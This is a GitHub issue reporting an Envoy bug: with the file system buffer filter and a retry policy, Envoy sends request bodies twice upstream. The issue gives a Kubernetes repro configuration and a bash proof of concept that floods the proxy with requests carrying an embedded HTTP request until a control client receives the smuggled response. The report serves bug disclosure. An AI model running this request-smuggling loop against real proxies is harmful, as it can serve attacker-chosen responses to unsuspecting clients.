Skip to content

Request body doubly written to upstream with file system buffer filter #39139

Open
@alxyzc

Description

@alxyzc

If you are reporting any crash or any potential security issue, do not open an issue in this repo. Please report the issue via emailing [email protected] where the issue will be triaged appropriately.

Title: Request body doubly written to upstream with file system buffer filter

Description:

What issue is being seen? Describe what should be happening instead of the bug, for example: Envoy should not crash, the expected value isn't returned, etc.

We have observed the following unexpected behavior:

  • When a retry policy is added to a route for a listener configured with file system buffer filter, Envoy would write the request body twice to the upstream connection. (Removing either the retry policy or the file system buffer filter will result in expected behavior of Envoy.)

  • The echo server reads Content-Length from the socket for the request body, leaving the other copy of the request payload in the socket.

  • The remainder bytes of the duplicated payload would be read as prefix to the subsequent request via the same connection (observed as prefix to the request method of the subsequent request in the response from the echo server):

    Image

  • It is possible to forge a request $Req_f$ ($f$ as in forged request) whose payload is a different, well-formed request $Req_p$ ($p$ as in request in payload). In such cases, we've observed that the backend server will send 2 responses to Envoy — first $Resp_f$ then $Resp_p$ as the duplicated copy of $Req_p$ was read as a new, stand-alone request.

  • From our observation, $Resp_p$ is ignored in most cases. However, when we blast Envoy with $Req_f$ concurrently, and in the meantime, we keep sending a different request $Req_c$ ($c$ for control). Occasionally, we would observe that instead of the expected $Resp_c$, the client would receive $Resp_p$.

Repro steps:

Include sample requests, environment, etc. All data and inputs required to reproduce the bug.

This issue is most easily reproduced on a Kubernetes cluster:

  1. We first deploy all resources to the leaky-body-repro namespace:

    kubectl apply -f - <<EOF
    apiVersion: v1
    kind: Namespace
    metadata:
      name: leaky-body-repro
    ---
    apiVersion: apps/v1
    kind: Deployment
    metadata:
      labels:
        app: echo
      name: echo
      namespace: leaky-body-repro
    spec:
      replicas: 1
      selector:
        matchLabels:
          app: echo
      template:
        metadata:
          labels:
            app: echo
        spec:
          containers:
            - image: gcr.io/k8s-staging-ingressconformance/echoserver:v20220815-e21d1a4
              name: echo
              ports:
                - containerPort: 3000
              env:
                - name: POD_NAME
                  valueFrom:
                    fieldRef:
                      fieldPath: metadata.name
                - name: NAMESPACE
                  valueFrom:
                    fieldRef:
                      fieldPath: metadata.namespace
              resources:
                limits: 
                  cpu: 200m
                  memory: 128Mi
    ---
    apiVersion: v1
    kind: Service
    metadata:
      labels:
        app: echo
      name: echo
      namespace: leaky-body-repro
    spec:
      ports:
        - port: 80
          protocol: TCP
          targetPort: 3000
      selector:
        app: echo
      sessionAffinity: None
      type: ClusterIP
    ---
    apiVersion: v1
    kind: ConfigMap
    metadata:
      name: envoy-config
      namespace: leaky-body-repro
    data:
      envoy.yaml: |
        admin:
          address:
            socket_address:
              address: 127.0.0.1
              port_value: 9901
        node:
          cluster: repro-envoy
          id: envoy
        static_resources:
          clusters:
            - name: echo_cluster
              type: STRICT_DNS
              lb_policy: ROUND_ROBIN
              load_assignment:
                cluster_name: echo_cluster
                endpoints:
                  - lb_endpoints:
                      - endpoint:
                          address:
                            socket_address:
                              address: echo.leaky-body-repro.svc.cluster.local
                              port_value: 80
          listeners:
            - address:
                socket_address:
                  address: 0.0.0.0
                  port_value: 80
              filter_chains:
              - filters:
                - name: envoy.filters.network.http_connection_manager
                  typed_config:
                    "@type": type.googleapis.com/envoy.extensions.filters.network.http_connection_manager.v3.HttpConnectionManager
                    stat_prefix: ingress_http
                    route_config:
                      name: local_route
                      virtual_hosts:
                      - name: service
                        domains:
                        - "*"
                        routes:
                        - match:
                            prefix: "/"
                          route:
                            cluster: echo_cluster
                        retry_policy:
                          retry_on: connect-failure
                          num_retries: 0
                    http_filters:
                    - name: file_system_buffer
                      typed_config:
                        "@type": type.googleapis.com/envoy.extensions.filters.http.file_system_buffer.v3.FileSystemBufferFilterConfig
                        manager_config:
                          thread_pool:
                            thread_count: 1
                        request:
                          behavior:
                            fully_buffer: {}
                        response:
                          behavior:
                            bypass: {}
                        storage_buffer_path: /tmp
                    - name: envoy.filters.http.router
                      typed_config:
                        "@type": type.googleapis.com/envoy.extensions.filters.http.router.v3.Router
    ---
    apiVersion: apps/v1
    kind: Deployment
    metadata:
      labels:
        app: envoy
      name: envoy
      namespace: leaky-body-repro
    spec:
      replicas: 1
      selector:
        matchLabels:
          app: envoy
      template:
        metadata:
          labels:
            app: envoy
          name: envoy
        spec:
          containers:
            - name: envoy-proxy
              image: envoyproxy/envoy:v1.33-latest
              imagePullPolicy: IfNotPresent
              command:
                - envoy
                - -c
                - /etc/envoy/envoy.yaml
                - --concurrency
                - "1"
              ports:
                - containerPort: 80
                  name: http
                  protocol: TCP
              resources:
                limits: 
                  cpu: 200m
                  memory: 128Mi
              volumeMounts:
                - mountPath: /etc/envoy/
                  name: envoy-config-volume
                  readOnly: true
          volumes:
            - configMap:
                defaultMode: 420
                items:
                  - key: envoy.yaml
                    path: envoy.yaml
                name: envoy-config
              name: envoy-config-volume
    EOF
  2. We can now port-forward to the Envoy pod.

    kubectl port-forward $(kubectl get pod -l 'app=envoy' -n leaky-body-repro -o jsonpath='{.items[0].metadata.name}') -n leaky-body-repro 8080:80 9901
  3. We can send the following request and verify that the payload of the first request gets leaked as the prefix of the second request:

    curl localhost:8080 -d 'foo' && curl localhost:8080
  4. We can also verify that with this behavior of request body leakage, we could cause $Resp_p$ to be returned to a client sending $Req_c$:

    # Send 1000 Req_f with Req_p in payload.
    for i in `seq 1000`; do
        curl -s localhost:8080 -H 'Content-Type: text/plain' --data-binary $'GET /bogus HTTP/1.1\r\nHost: bogushost\r\nHeader: bogus\r\n\r\n' > /dev/null &
    done &
    
    # Concurrent, keep sending Req_c until we get a Resp_p.
    seq=0
    while true; do
        response=$(curl -s localhost:8080 -H "Request-Seq: $seq" -v 2>&1)
        if [[ $response == *bogus* ]]; then
            echo $response
            break
        fi
        ((seq++))
    done

Admin and Stats Output:

Include the admin output for the following endpoints: /stats, /clusters, /routes, /server_info. For more information, refer to the
admin endpoint documentation.

Note: If there are privacy concerns, sanitize the data prior to sharing.

server_info.txt
routes.txt
clusters.txt
stats.txt

Config:

Include the config used to configure Envoy.

See step 1 in repro steps.

Logs:

Include the access logs and the Envoy logs.

Note: If there are privacy concerns, sanitize the data prior to sharing.

envoy.log (access logs not configured from repro config).

Call Stack:

If the Envoy binary is crashing, a call stack is required. Please refer to the Bazel Stack trace documentation.

No crash.

Comments:

We are uncertain of the exact security implications with this behavior. However, we speculate that depending on the backend server implementation, a forged request could contain a payload that tricks the backend server into sending a response to a non-suspecting client that could alter its behavior in a way desired by adversary. Thus, we are using this channel to report such an unexpected behavior when the file system buffer works in conjunction with route retry policies.

I have reached out to the Envoy Security channel, where @botengyao mentioned that since the behavior is only reproduceable with the file system buffer filter, the work-in-progress status implies that it will not be covered by the security team. I thus open the issue here.

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions